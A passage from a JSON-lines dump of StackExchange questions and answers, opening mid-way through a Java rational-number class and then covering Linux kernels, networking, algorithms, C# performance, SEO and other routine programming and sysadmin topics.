precision;        if (precision < HIST_PREC) precision = HIST_PREC;        else if (precision > LWST_PREC) precision = LWST_PREC;        Rational.precision = precision;    }//    public long getNum() {//        return num;//    }//    public long getDen() {//        return den;//    }    /**     * Returns the Highest Common Factor of two integers. It employs the     * Euclidean division method.     *     * @param a One of the two numbers.     * @param b The other number.     * @return The H.C.F of {@code a} and {@code b}.     */    private static long hcf(long a, long b) {        if (a == 0 || b == 0) {            return 0;       // ???        }        // turn all the negative arguments to positive.        if (a < 0) a = 0L - a;        if (b < 0) b = 0L - b;        if (a < b) {            long t = a;            a = b;            b = t;        }        long r;        do {            r = a % b;            a = b;            b = r;        } while (r > 0);        return a;    }    // Demo    public static void main(String[] args) {        Rational PI = new Rational(Math.PI);        System.out.println(Pi =  + PI);    }    /**     * This method returns the {@code Rational} object that is the reduced     * form of {@code this Rational}. (More specifically,     * the numerator and denominator have no common factor.)     *     * @return The reduced form of {@code this Rational}.     */    public Rational reduce() {        long hcf = hcf(num, den);        if (hcf == 0) { // infinities and NaN            return this;        } else {            long n = num / hcf;            long d = den / hcf;            return new Rational(n, d);        }    }    /**     * Returns the <i>sum</i> of {@code rational} with {@code this}.     *     * @param rational The {@code Rational} to add.     * @return Their sum.     */    public Rational add(Rational rational) {        if (this.result == Double.NaN) {            return this;        } else //noinspection ConstantConditions            if (rational.result == Double.NaN) {                return rational;            }        Rational o = reduce();        long n1 = o.num, d1 = o.den;        o = rational.reduce();        long n2 = o.num, d2 = o.den;        return new Rational(n1 * d2 + n2 * d1, d1 * d2).reduce();    }    /**     * Returns the <i>difference</i> of {@code rational} with {@code this}.     *     * @param rational The {@code Rational} to subtract.     * @return Their difference.     */    public Rational subtract(Rational rational) {        return add(new Rational(0L - rational.num, rational.den));    }    /**     * Returns the <i>product</i> of {@code rational} and {@code this}.     *     * @param rational The {@code Rational} to multiply with.     * @return Their product.     */    public Rational multiply(Rational rational) {        return new Rational(                this.num * rational.num,                this.den * rational.den)                .reduce();    }    /**     * <i>Divides</i> {@code this} with {@code rational}.     *     * @param rational The divisor.     * @return The required quotient.     */    public Rational divide(Rational rational) {        return multiply(rational.reciprocate());    }    /**     * Returns the reciprocal of {@code this}.     *     * @return the reciprocal of {@code this}.     */    public Rational reciprocate() {        return new Rational(den, num);    }    /**     * Returns the {@code double} representation of tis {@code Rational}.     *     * @return the {@code double} representation of tis {@code Rational}.     */    public double toDouble() {        return result;    }    /**     * Returns the {@code String} representation of tis {@code Rational}.     *     * @return the {@code String} representation of tis {@code Rational}.     */    @Override    public String toString() {        return Long.toString(num).concat(/).concat(Long.toString(den));    }    /**     * Compares {@code this} object with another with respect to class and     * then the values of the numerator and denominator.     *     * @param another The {@code Object} to compare with.     * @return {@code true} if the objects are equal, {@code false} otherwise.     */    @Override    public boolean equals(Object another) {        if (another instanceof Rational) {            Rational oldF = reduce();            Rational newF = ((Rational) another).reduce();            return (oldF.num == newF.num) &&                    (oldF.den == newF.den);        }        return false;    }    /**     * Returns {@code this} to the power {@code p}.     *     * @param p The power to be raised to.     * @return {@code this} to the power {@code p}.     */    public Rational pow(int p) {        Rational result = ONE;        Rational n = new Rational(num, den);        boolean neg = p < 0;        if (neg) p = 0 - p;        while (p > 0) {            if ((p & 1) == 1) {                result = result.multiply(n);                p--;            }            n = n.multiply(n);            p >>>= 1;        }        return neg ? result.reciprocate() : result;    }    /**     * Returns {@code this} to the <i>fractional</i> power {@code p}.     *     * @param p The power to be raised to.     * @return {@code this} to the power {@code p}.     */    public Rational pow(Rational p) {        return new Rational(Math.pow(this.result, p.result));    }}RationalTest.javaimport junit.framework.TestCase;public class RationalTest extends TestCase {    public void testAdd() {        Rational r1, r2;        r1 = new Rational(10, 20);        r2 = new Rational(20, 30);        assertEquals(new Rational(7, 6), r1.add(r2));    }    public void testSubtract() {        Rational r1, r2;        r1 = new Rational(20, 30);        r2 = new Rational(10, 20);        assertEquals(new Rational(1, 6), r1.subtract(r2));    }    public void testMultiply() {        Rational r1, r2;        r1 = new Rational(0.5);        r2 = new Rational(2);        assertEquals(Rational.ONE, r1.multiply(r2));    }    public void testDivide() {        Rational r1, r2;        r1 = new Rational(0.5);        r2 = new Rational(0.0625);        assertEquals(new Rational(8), r1.divide(r2));    }    public void testPow() {        assertEquals(Rational.ONE, new Rational(2).pow(Rational.ZERO));        assertEquals(new Rational(1, 64), new Rational(1, 4).pow(3));    }}This is the first version and more tests are needed (this is where I would really appreciate suggestions and illustrations). Inspite of that, my code works really well. Using the default settings, the following result is obtained:Pi = 312689/99532This evaluates to 3.1415926536189366233975003014106. Now, the real π is 3.1415926535897932384626433832795 and is only 2.9143384934856918131098731363655e-11 away from the result. I would request everyone to go on and experiment with my code, find out any flaws in my code and suggest ways for improvement."  , "title": "Rational Wrapper class with support for Rational Number Approximation"  , "tags": "java;floating point;rational numbers;wrapper"  } 
{  "id": "_unix.370021"  , "question": "I installed Debian Jessie with debootstrap, updated the kernel to 4.9.0-0.bpo.3-amd64 and created an image of it. Now, I wanted to start Jessie with qemu and the following command: qemu-system-x86_64 -kernel bzImage -append root=/dev/sda -hda jessie.img -net nic -enable-kvm -nographic -m 2G. To obtain the bzImage, I downloaded and compiled Kernel version 4.9 from Linus' github.The problem I am facing now, is a version mismatch, although I have (at least I thought so) the proper versions:[   49.506967] pcwd_usb: version magic '4.9.0-0.bpo.3-amd64 SMP mod_unload modversions ' should be '4.9.0 SMP mod_unload 'Does anybody know, which kernel version I have to get (and where)?"  , "title": "Kernel 4.9 module mismatch"  , "tags": "debian;kernel;drivers;qemu;debootstrap"  , "accepted_answer": "You need your kernel modules (installed inside the VM) to match your kernel image. Inside the VM, you installed the Debian kernel, which you can grab either from /boot/vmlinuz-4.9.0-3-amd64 inside the VM or from https://packages.debian.org/stretch/linux-image-4.9.0-3-amd64 (at least, if that's where you downloaded the newer kernel from to update the VM). Surprised it worked at all without the initrd, too.PS: It's probably easier to just boot using the bootloader (grub) installed in the image."  } 
{  "id": "_cs.12243"  , "question": "Given a weighted digraph, I can check whether a given vertex belongs to a negative cycle in $O(|V|\\cdot|E|)$ using Bellman-Ford. But what if I need to find all vertices on negative cycles? Is there a way to do it faster than Floyd-Warshall's $O(|V|^3)$?"  , "title": "Finding all vertices on negative cycles"  , "tags": "algorithms;graphs;shortest path"  , "accepted_answer": "I was not able to turn up any better algorithm in my research.In practice, you could improve the running time for many graphs by first decomposing the graph into strongly connected components, then running Floyd-Warshall on each strongly connected component.  This does not improve the worst-case complexity (since in the worst case the entire graph could form one large strongly connected component), but it might help on many graphs you're likely to run into in practice."  } 
{  "id": "_unix.117010"  , "question": "Running an Ubuntu 12.04.4 I have the following issue:I want to connect multiple USB RNDIS devices to one PC.Additionaly, every device should be in the same network.The problem is that only one device is reachable via the PC.My following example is for two USB RNDIS devices. One with the IP 192.168.0.15 and the other with 192.168.0.16The two USB devices are detected correctly with the following /etc/network/interfaces file:# The device for 192.168.0.15auto usb0iface usb0 inet staticaddress 192.168.0.200netmask 255.255.255.0# The device for 192.168.0.16auto usb1iface usb1 inet staticaddress 192.168.0.201netmask 255.255.255.0If I connect the devices and run ifconfig it looks as follows:usb0      Link encap:Ethernet  Hardware Adresse 22:d0:9c:4f:65:77            inet Adresse:192.168.0.200  Bcast:192.168.0.255  Maske:255.255.255.0          inet6-Adresse: fe80::20d0:9cff:fe4f:6577/64 Gltigkeitsbereich:Verbindung          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metrik:1          RX-Pakete:5 Fehler:0 Verloren:0 berlufe:0 Fenster:0          TX-Pakete:50 Fehler:0 Verloren:0 berlufe:0 Trger:0          Kollisionen:0 Sendewarteschlangenlnge:1000           RX-Bytes:308 (308.0 B)  TX-Bytes:8803 (8.8 KB)usb1      Link encap:Ethernet  Hardware Adresse 8e:f4:be:bf:6d:1c            inet Adresse:192.168.0.201  Bcast:192.168.0.255  Maske:255.255.255.0          inet6-Adresse: fe80::8cf4:beff:febf:6d1c/64 Gltigkeitsbereich:Verbindung          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metrik:1          RX-Pakete:0 Fehler:0 Verloren:0 berlufe:0 Fenster:0          TX-Pakete:29 Fehler:0 Verloren:0 berlufe:0 Trger:0          Kollisionen:0 Sendewarteschlangenlnge:1000           RX-Bytes:0 (0.0 B)  TX-Bytes:5929 (5.9 KB)But here comes the drawback. Unfortunately only the usb0 device is reachable. So if I type in ping 192.168.0.15 everything works fine. But if I try ping 192.168.0.16 nothing happens, even with ping 192.168.0.16 -I usb1 literally nothing happens:$ ping 192.168.0.16 -I usb1PING 192.168.0.16 (192.168.0.16) from 192.168.0.201 usb1: 56(84) bytes of data.^C--- 192.168.0.16 ping statistics ---45 packets transmitted, 0 received, 100% packet loss, time 44351msping does even not say, that the host is unreachable (note the time 44351). The next strange thing is, that packages have been send (not the TX in ifconfig regarding usb1) but never recieved (not the RX in ifconfig regarding usb1)."  , "title": "Connecting multiple USB RNDIS devices to PC in the same network"  , "tags": "networking;usb"  } 
{  "id": "_codereview.24485"  , "question": "I'm trying to calculate a total value with an array of six numbers and all the basic operators (+-*/).Suppose you have: 1, 2, 3, 4, 5, 6 and you want to have a total of 10.Here is my function call a part of my result:10 = 4 - ((2 - (5 + 6)) + (3 * 1))   10 = (((6 - 4) - 1) - (2 - 3)) * 5  10 = (2 * 3) - ((1 + (5 - 4)) - 6)  :  :  :  10 = 3 - (5 - (6 * 2))   10 = (3 - 2) * ((1 * 5) * (6 - 4))  10 = (4 + (6 + 3)) - ((5 + 1) / 2)Number of solutions = 2526763/28/2013 12:28:25 PM 3/28/2013 12:28:44 PM 00:00:19.7425257It took 19 secs for my old quad CPU Q8200 2.33Ghz to process the 105164223 possible expression. I put all the possible expression in a Hashtable. And at the end, I print all the valid expressions. There should be a way to speed up this process.I have tried to put all the results in a file like: (C - B) * ((A * E) * (F - D))After that, I process the file and change the letter for the right number. But this file has a size of about 2GB, and it takes 35 secs just to read the file without any progress.I'd like to have your comments about the code. Can I speed up this code? How can we speed up the process, may be :( parallel, task, async/wait, etc.. ) I'm not used of all this things.Do you have an other idea for the calculation like put all the equation in a table (like: (C - B) * ((A * E) * (F - D))) and process the table.Sky driveusing System;using System.Collections;/// <summary>///  Class to Find all the possible value to reach a number ///from an number array with the basic operators/// </summary>class PossibleExpression{    public DateTime mStartDateTime;    public DateTime mEndDateTime;    public TimeSpan mTimeSpan;    // all the solutions are stored in an Hachtable    public Hashtable mSolutionHashtable = new Hashtable();    // NbEvaluate    public int mNbEvaluate = 0;    // calculate the AbsValue, if we are not able to reach the total, we kept the nearest total    public int mAbsValue = int.MaxValue;    public PossibleExpression()    {    }    /// <summary>    /// Evaluate all the possibility to reach the total with this numbers    /// </summary>    /// <param name=Numbers></param>    /// <param name=total></param>    private void Evaluate(Number[] Numbers, int total)    {        mNbEvaluate++;        if (Numbers.Length == 1)        {            int absValue = Math.Abs(Numbers[0].Value - total);            // if the abolute value is less then the one before            if (absValue < mAbsValue)            {                mAbsValue = absValue;            }            // if it was the right absolute value store the ValueString and the Value in the SolutionHashtable            if (mAbsValue == absValue)            {                string valueString = Numbers[0].ValueString.ToString();                if (mSolutionHashtable.ContainsKey(valueString) == false)                {                    mSolutionHashtable.Add(valueString, Numbers[0].Value);                }            }        }        else        {            {                // we prepare to call back the function with a smaller array size                Number[] NextNumbers = new Number[Numbers.Length - 1];                {                    // allocate Number for this new array                    int i = 0;                    while (i < NextNumbers.Length)                    {                        NextNumbers[i] = new Number();                        i++;                    }                }                // get the right Mix Array                int[][] Mix = AllMix[Numbers.Length];                // for all the possible Mix                int indexMixOperand = 0;                while (indexMixOperand < Mix.Length)                {                    // copy all the numbers that was not in the Mix index                    if ((Numbers.Length - 1 > 1))                    {                        int indexNextNumbers = 1;     // we kept the index 0 for the Mix result                        int i = 0;                        while (i < Numbers.Length)                        {                            if ((i != Mix[indexMixOperand][0])                                && (i != Mix[indexMixOperand][1]))                            {                                NextNumbers[indexNextNumbers++] = Numbers[i];                            }                            i++;                        }                    }                    // for all the operators                    for (int indexOperator = 0; indexOperator < 4; indexOperator++)                    {                        // set the number 0  to the total of the expression composed of this two number and operator                        if (NextNumbers[0].Set(Numbers[Mix[indexMixOperand][0]], Numbers[Mix[indexMixOperand][1]], indexOperator) == true)                        {                            // call to evaluate                            Evaluate(NextNumbers, total);                        }                        //next operator                    }                    // next MixPermutation                    indexMixOperand++;                }            }        }    }    public bool Find(int[] numbers, int total)    {        if( numbers.Length == 6)        {            mStartDateTime = DateTime.Now;            mSolutionHashtable = new Hashtable();            mNbEvaluate = 0;            mAbsValue = int.MaxValue;            Number[] Numbers = new Number[6];            Numbers[0] = new Number();            Numbers[1] = new Number();            Numbers[2] = new Number();            Numbers[3] = new Number();            Numbers[4] = new Number();            Numbers[5] = new Number();            Numbers[0].Set(numbers[0]);            Numbers[1].Set(numbers[1]);            Numbers[2].Set(numbers[2]);            Numbers[3].Set(numbers[3]);            Numbers[4].Set(numbers[4]);            Numbers[5].Set(numbers[5]);            foreach (int[] index in m_Index)            {                Number[] CurrentNumbers = new Number[index.Length];                for (int i = 0; i < index.Length; i++)                {                    CurrentNumbers[i] = Numbers[index[i]];                }                Evaluate(CurrentNumbers, total);            }            mEndDateTime = DateTime.Now;            mTimeSpan = mEndDateTime - mStartDateTime;        }        return (numbers.Length == 6);    }    // possible index for indirection table    static private int[][] m_Index = new int[][]     {        // with one number        new int[] {0},         new int[] {1},         new int[] {2},         new int[] {3},         new int[] {4},         new int[] {5},        // with two numbers        new int[] {0,1},         new int[] {0,2},         new int[] {0,3},         new int[] {0,4},         new int[] {0,5},         new int[] {1,2},         new int[] {1,3},         new int[] {1,4},         new int[] {1,5},         new int[] {2,3},         new int[] {2,4},         new int[] {2,5},         new int[] {3,4},         new int[] {3,5},         new int[] {4,5},         // with three numbers        new int[] {0,1,2},         new int[] {0,1,3},         new int[] {0,1,4},         new int[] {0,1,5},         new int[] {0,2,3},         new int[] {0,2,4},         new int[] {0,2,5},         new int[] {0,3,4},         new int[] {0,3,5},         new int[] {0,4,5},         new int[] {1,2,3},         new int[] {1,2,4},         new int[] {1,2,5},         new int[] {1,3,4},         new int[] {1,3,5},         new int[] {1,4,5},         new int[] {2,3,4},         new int[] {2,3,5},         new int[] {2,4,5},         new int[] {3,4,5},         // with four numbers        new int[] {0,1,2,3},         new int[] {0,1,2,4},         new int[] {0,1,2,5},         new int[] {0,1,3,4},         new int[] {0,1,3,5},         new int[] {0,1,4,5},         new int[] {0,2,3,4},         new int[] {0,2,3,5},         new int[] {0,2,4,5},         new int[] {0,3,4,5},         new int[] {1,2,3,4},         new int[] {1,2,3,5},         new int[] {1,2,4,5},         new int[] {1,3,4,5},         new int[] {2,3,4,5},         // with five numbers        new int[] {0,1,2,3,4},         new int[] {0,1,2,3,5},         new int[] {0,1,2,4,5},         new int[] {0,1,3,4,5},         new int[] {0,2,3,4,5},         new int[] {1,2,3,4,5},         // with six numbers        new int[] {0,1,2,3,4,5},     };    static private int[][] Mix0 = new int[][]     {    };    static private int[][] Mix1 = new int[][]     {    };    static private int[][] Mix2 = new int[][]     {        new int[] {0,1},         new int[] {1,0}    };    static private int[][] Mix3 = new int[][]    {        new int[] {0,1},         new int[] {0,2},        new int[] {1,0},         new int[] {1,2},        new int[] {2,0},         new int[] {2,1}    };    static private int[][] Mix4 = new int[][]     {        new int[] {0,1},         new int[] {0,2},        new int[] {0,3},        new int[] {1,0},         new int[] {1,2},        new int[] {1,3},        new int[] {2,0},         new int[] {2,1},        new int[] {2,3},        new int[] {3,0},         new int[] {3,1},        new int[] {3,2}    };    static private int[][] Mix5 = new int[][]     {        new int[] {0,1},         new int[] {0,2},        new int[] {0,3},        new int[] {0,4},        new int[] {1,0},         new int[] {1,2},        new int[] {1,3},        new int[] {1,4},        new int[] {2,0},         new int[] {2,1},        new int[] {2,3},        new int[] {2,4},        new int[] {3,0},         new int[] {3,1},        new int[] {3,2},        new int[] {3,4},        new int[] {4,0},         new int[] {4,1},        new int[] {4,2},        new int[] {4,3}    };    static private int[][] Mix6 = new int[][]     {        new int[] {0,1},         new int[] {0,2},        new int[] {0,3},        new int[] {0,4},        new int[] {0,5},        new int[] {1,0},         new int[] {1,2},        new int[] {1,3},        new int[] {1,4},        new int[] {1,5},        new int[] {2,0},         new int[] {2,1},        new int[] {2,3},        new int[] {2,4},        new int[] {2,5},        new int[] {3,0},         new int[] {3,1},        new int[] {3,2},        new int[] {3,4},        new int[] {3,5},        new int[] {4,0},         new int[] {4,1},        new int[] {4,2},        new int[] {4,3},        new int[] {4,5},         new int[] {5,0},        new int[] {5,1},        new int[] {5,2},        new int[] {5,3},        new int[] {5,4}    };    static private int[][][] AllMix = { Mix0, Mix1, Mix2, Mix3, Mix4, Mix5, Mix6 };using System.Text;/// <summary>/// allways have the value and the Value in String format/// </summary>public class Number{    // the int value    public int Value = 0;    // the string value    public StringBuilder ValueString = new StringBuilder(40);    // the operator    public int m_Operator = -1;    /// <summary>    /// Set the value    /// </summary>    /// <param name=value></param>    public void Set(int value)    {        Value = value;        ValueString.Clear();        ValueString.Append(value);    }    /// <summary>    /// Build the Value String depending on the operand and the operator    /// </summary>    /// <param name=Operande1></param>    /// <param name=Operande2></param>    /// <param name=Operator></param>    private void BuildValueString(Number Operande1, Number Operande2, int Operator)    {        ValueString.Clear();//        int Operande1OperatorFamily = Operande1.m_Operator / 2;//        int Operande2OperatorFamily = Operande2.m_Operator / 2;//        int OperatorFamily = Operator / 2;        if ((Operande1.m_Operator != -1)            //                && (    (Operande1OperatorFamily != OperatorFamily)            //                   || (Operator == 1)            //                 || (Operator == 2)            //               || (Operator == 3)            //             )            )        {            ValueString.Append(();        }        ValueString.Append(Operande1.ValueString);        if ((Operande1.m_Operator != -1)            //                && ((Operande1OperatorFamily != OperatorFamily)            //                     || (Operator == 1)            //                    || (Operator == 2)            //                   || (Operator == 3)            //            )            )        {            ValueString.Append());        }        switch (Operator)        {            case 0:                ValueString.Append( + );                break;            case 1:                ValueString.Append( - );                break;            case 2:                ValueString.Append( * );                break;            case 3:                ValueString.Append( / );                break;        }        if ((Operande2.m_Operator != -1)            //              && (  (Operande2OperatorFamily != OperatorFamily)            //                 || (Operator == 1)            //               || (Operator == 2)            //             || (Operator == 3)            //          )            )        {            ValueString.Append(();        }        ValueString.Append(Operande2.ValueString);        if ((Operande2.m_Operator != -1)            //                && ((Operande2OperatorFamily != OperatorFamily)            //                   || (Operator == 1)            //                 || (Operator == 2)            //               || (Operator == 3)            //            )            )        {            ValueString.Append());        }    }    /// <summary>    /// Set the number for these operands and operator    /// </summary>    /// <param name=Operande1></param>    /// <param name=Operande2></param>    /// <param name=Operator></param>    /// <returns></returns>    public bool Set(Number Operande1, Number Operande2, int Operator)    {        bool returnValue = true;        m_Operator = Operator;        Value = Operande1.Value;        switch (Operator)        {            case 0:                Value += Operande2.Value;                BuildValueString(Operande1, Operande2, Operator);                break;            case 1:                Value -= Operande2.Value;                BuildValueString(Operande1, Operande2, Operator);                break;            case 2:                Value *= Operande2.Value;                BuildValueString(Operande1, Operande2, Operator);                break;            case 3:                if ((Operande2.Value != 0)                    && (Value % Operande2.Value) == 0)                {                    Value /= Operande2.Value;                    BuildValueString(Operande1, Operande2, Operator);                }                else                {                    returnValue = false;                }                break;        }        return returnValue;    }}}"  , "title": "Optimization expression evaluation challenge"  , "tags": "c#;performance"  } 
{  "id": "_softwareengineering.321775"  , "question": "I've noticed my software severely degrades when the # of threads is substantially increased.What I mean is that when I limit the # of threads, the performance is much better than when I just let them all run simultaneously.My cpu is an i7-3940XM, so very fast for a mobile and still not too shabby compared to desktop i7s for an old processor. It is 4 core but has 8 logical cores. Windows 10.The test case creates 65 threads and it takes almost 5 minutes to run. CPU is maxed out when this happens because the code is mostly all in-memory and the only resources it accesses somewhat frequently is a ram-disk.But when I limit the # of threads that can run concurrently, performance drastically improves:Threads means concurrent Threads in the image below, each time is for the same application that ran 65 total Threads, only the # of concurrent threads variedSo it seems that performance is best when the # of threads is close to the # of logical coresThe reason I'm posting though is I wonder if I need to investigate further if I have anything too blocking in my code, I don't really understand why when there is no cap on the # of simultaneous threads it slows down so dramatically.Can anyone offer some thoughts?update:I did find some file write/read code I forgot about, and switched it off - so at 8 simultaneous threads it made no difference in time per thread but at 65 it dropped that down to 1.00 seconds avg per thread"  , "title": "multi-threading performance when CPU is maxed out"  , "tags": "java;multithreading"  , "accepted_answer": "Sounds like you're running into Context Switching issues. (The linked article talks about entire processes rather than threads, but the idea is similar)  There is a very real cost incurred when a CPU switches from working on one thing to working on another.As you've discovered, when the number of CPUs roughly matches the number of threads, the CPUs don't have to put down one bit of work to pick up and work on another one very often.If you have too many threads, then the OS is going to try to make roughly equal progress on all of them at the same time.  Since you don't have that many cores, it means that each core will pick up a thread, do a little work, save that work somewhere, pick up the next thread, and repeat.  The picking up and saving adds up.Threading is useful for keeping a UI alive and it can be very useful for I/O intensive work (where you spend a lot of time waiting for bits to arrive or depart).  Once you're past keep all the cores busy, it's not overly useful for speeding up CPU bound operations."  } 
{  "id": "_webapps.80910"  , "question": "How can I draw a circle segment (pie segment) or arcs in draw.io? I only seem to be able to draw whole circles."  , "title": "How to draw a cirlce segments/arcs in draw.io"  , "tags": "draw.io"  } 
{  "id": "_webmaster.42729"  , "question": "The scenario is My page is a music description page with proper title, description, keywords, h1 and a description as a paragraphUrl of this page is a meaningful long slug(not very long) separated by hyphenThis page has a download link(to download a small music file) which will force download that file using content dispositionDownload link will have title text like a sentenceDownload links hyperlink will have a meaningful slug separated by hyphenHypertext like 'Click here to download'Sample of the url is sitename.com/module/categoryname/title-of-the-music-sample/Sample of the hyperlink slug is href='/module/get/title-of-the-music-sample/' and assume that the title attribute text is similar to the slug.I dont want the download link to be indexed. that is i dont want bots to index anything starts with /module/get/ becauseI am afraid that:that the slug for the link and the slug of that pages url are the same so it may be considered duplicate ... the only difference in the url is /categoryname/title-of-the-music-sample/ and /get/title-of-the-music-sample/that google may penalize thinking i am trying to populate duplicate keywords in the link tags which is similar to the current pages url.that directly accessing the /get/(.)/ will redirect to the actual music page of /categoryname/($1)/ if the user is not coming from /category/ ... i am restricting users to directly load the download page... so i redirect to the main page and only then they can download the music file...since i am redirecting /get/ to /categoryname/actualcontent i think there is a trouble i this which is not a good practice...So thought of adding disallow for /module/get/ to prevent bots from indexing or using that /get/* linkscan i use nofollow to my own website. like in the download link can in add rel='nofollow' if i do not want bots to crawl or index that link?If i dont want those links to be indexed then why do i use a hyeprlink ... because thinking that those keywords would add more keywords to the document or some kind of gimmick i see in other sites which would boost ranking. i think this approach is not good... may be or may not.If what i did is not a problem then i will leave it as it were... and add the condition in robots hinting not to crawl or index /get/* linksElse i will change it to a span tag with an onclick event yet writing in a way so that bots will not crawl or index window.location ... .Will those links be penalized or indexed?if it is going to be penalized to some extent or whole then what are all the points that i have missed to think to make the link proper?if it is going to be indexed then still is there any flaws which people would say that doesn't matter?Suggestions please. "  , "title": "will search engine bots penalize/index download links which is a link to just a file and not a page with certain other criterias?"  , "tags": "seo;keywords;duplicate content"  , "accepted_answer": "Disallow it in your yoursite.com/robots.txt, like so:Disallow: /module/get/Edit: Yes, you can use rel=nofollow on your link. This means that Google will not attribute ranking to it, however it doesn't necessarily mean that it won't follow the link at all. It might still be indexed. Using Disallow in robots.txt is still the best option in my honest opinion."  } 
{  "id": "_unix.318556"  , "question": "I have a folder containing files, and I need to iterate over them using unix command tr having as output the same name as before (if is possible) (the code below doesn't work):FILES=/root/Desktop/prova/*for f in $FILES ; do    echo Processing $f file...    cat $f | tr \\n , > $f.tmp & mv $f.tmp $f doneI don't understand how can I use this command cat $f | tr \\n , > $f and redirect the output of each files. Then I should use another for loop to create N tool commands and run together. Have you any advice for loops studies? "  , "title": "Iterate over files in a folder"  , "tags": "shell script;io redirection;tr"  , "accepted_answer": "The cat is a useless waste of CPU, eliminate it. Send the output instead to a temporary file, and rename that file back afterwards:tr x y < input > input.tmp && mv input.tmp inputWith moreutils installed, this may be done with sponge (which does the temporary file stuff behind the scenes):tr x y < input | sponge inputNote that such renames may destroy fancy ACL or security contexts set on the now dearly unlinked original input file."  } 
{  "id": "_unix.368623"  , "question": "I am in middle of integrating an application software into a custom Embedded Linux distribution from a chip-set vendor. This is an ARM based product that I am working on. I noticed that the kernel is being built in 64 bit, but rest of the user space is 32 bit.Are there any performance benefits of building kernel as 64 bit even though the user space in 32 bit? The SOC is based on ARM cortex-a53.Someone suggested having user space in 32 bit will result in smaller RAM foot print for user space.The same should apply to the kernel, but the kernel is 64 bit. I am guessing there is a gain in performance?some specific about the hardware:ARM cortex a531 GB RAMP.S: I cannot disclose the vendor name due to non-disclosure restrictions."  , "title": "Are there any performance benefits of building kernel as 64 bit even though the user space in 32 bit?"  , "tags": "linux;linux kernel"  , "accepted_answer": "The virtual address space of Linux process is divided into two areas:kernel spaceuser space. Split on 32 Bit ArchitecturesOn a 32 bit architecture, e.g., arm or i386, the traditional split is 3:1, as shown below:    +--------+ 0xffffffff    | Kernel |    +--------+ 0xc0000000    |        |    | User   |    |        |    +--------+ 0x00000000Kernel Space - 1 GiBUser Space - 3 GiBThus kernel can at most map 1 GiB of physical memory at any one time, but there is further split, because we need virtual address space for temporary maps to access the rest of the physical memory. The split is as follows: lower 896 MiB (0xc0000000 to 0xf7ffffff) is directly mapped to the kernel physical address spacethe remaining 128 MiB (0xf8000000 to 0xffffffff) is used on demand by the kernel to map to high memory.The arrangement is as follows:                                                 physical memory 2 GiB                                           +------> +------------+                                          |        |  1152 MiB  |                                            |        |            |      +------------------+ 0xffffffff  -----+        |  HIGH MEM  |      | On Demand 128MiB |                           |            |      +------------------+ 0xf8000000  ------------> +------------+      |                  |             ------+      |  Direct mapped   |                   +-----> +------------+       |    896 MiB       |             --+           |   896 MiB  |            +------------------+ 0xc0000000    +---------> +------------+  Thus, the Linux kernel through the highmem interface provides indirect access to this physical memory in range of 2/4/6/8 GiB. But, there is associated cost of creating temporary mappings which can be quite high.  The arch has tomanipulate the kernel's page tables, the data TLB and/or the MMU's registers.On 64-bit ArchitecturesThe 3G/1G split does not apply. Due to the huge address space, a split scheme between user space and kernel space can be chosen that allows to map the whole physical memory into kernel address space. Thus saving all the overheads of temporary mappings that a 32 bit architecture incurs.The high memory support is optional in case Linux kernel on 64 bit Architectures and is even disabled disabled in cases Linux on 64 bit architectures.Reference: Linux High Memory Handling."  } 
{  "id": "_cs.59800"  , "question": "I believe that the concatenation $a^pa^m$ where $p$ and $m$ are primes is not regular, since I can show that $a^p$ is not regular using the pumping lemma, therefore there is no NFA for the 1st part, therefore the concatenation cannot be regular (I.e. there is no NFA to do the lambda transition)Is the above reasoning correct? "  , "title": "Concatenation of $a^p$ and $a^m$ where $p$ and $m$ are primes, is irregular?"  , "tags": "formal languages;regular languages"  , "accepted_answer": "No, non regular languages are not closed under the concatenation, therefore the premise wrong. See Proving that non-regular languages are closed under concatenation for a counterexample."  } 
{  "id": "_unix.259216"  , "question": "I changed a while ago from a standard password (the same as my login password) to a GPG key that I had to unlock using a password (also the same as my login password) but I now have to type in my password twice. I would like to go back to only typing in my password once. How can I switch back from a GPG key to a password?"  , "title": "How to change from a GPG key to a conventional password?"  , "tags": "kwallet"  } 
{  "id": "_cs.64246"  , "question": "I'm trying to build a classifier that, given a screen shot, determines which game it is from.  The games I'm dealing with are AAA titles like League of Legends, World of Warcraft, etc.I've been trying to use a shallow CNN with 3 hidden layers for this, but it doesn't seem to work very well: the accuracy is below 30%.  I trained on  8000-10000 images (scaled down to 128x128) from each of three games. When classifying a unseen screenshot taken in any of these 3 games (or a screenshot I downloaded from google image search) it results in a correct result only one out of three to four tries. I suspect the network is too simple for such a task, the images vary a lot in such games and the shallow network is not capable of generalising that well.What would be a suitable classifier for this particular task of image classification?Games tried : Trine 3, CS:GO, WorldOfWarcraftNetwork :input layer gets 128x128 scaled down grayscale image on screen shot - conv/pool - conv/pool - fully connected layer (activation:tanh) - logistic regression classifier.Learning Rate = 0.1"  , "title": "Recognising games from a screenshot"  , "tags": "machine learning;neural networks;image processing;computer vision"  } 
{  "id": "_vi.6231"  , "question": "I don't know why it is happening.Suppose I've got a code like this (let x be our cursor):int main() {xand thenint main() {}xNow I would like to enter the normal mode and type shift + o to insert a new line above }.However this is what happens:int main() {}Oxand after a while it changes toint main() {    x}Here is a video where I was able to reproduce this:Vim hangs for a second when typing shift-o after inserting curly brackets on YouTube Side note: could you please suggest me better tagging for this question? I've got no idea how to tag it."  , "title": "Delay after typing shift-o to insert a new line between brackets"  , "tags": "insert mode;normal mode"  } 
{  "id": "_unix.320480"  , "question": "I have a tar.gz file. I was extracting the original from it but tar command gives following error: where numeric off_t value expectedWhile gtar runs perfectly.Tar.gz was made using gtar command. I have other tar made with same process but they are fine. Can anyone tell me what might be the cause of this. I have googled a little, but cannot find a satisfying answer."  , "title": "problem while extracting file from tar"  , "tags": "linux;tar"  } 
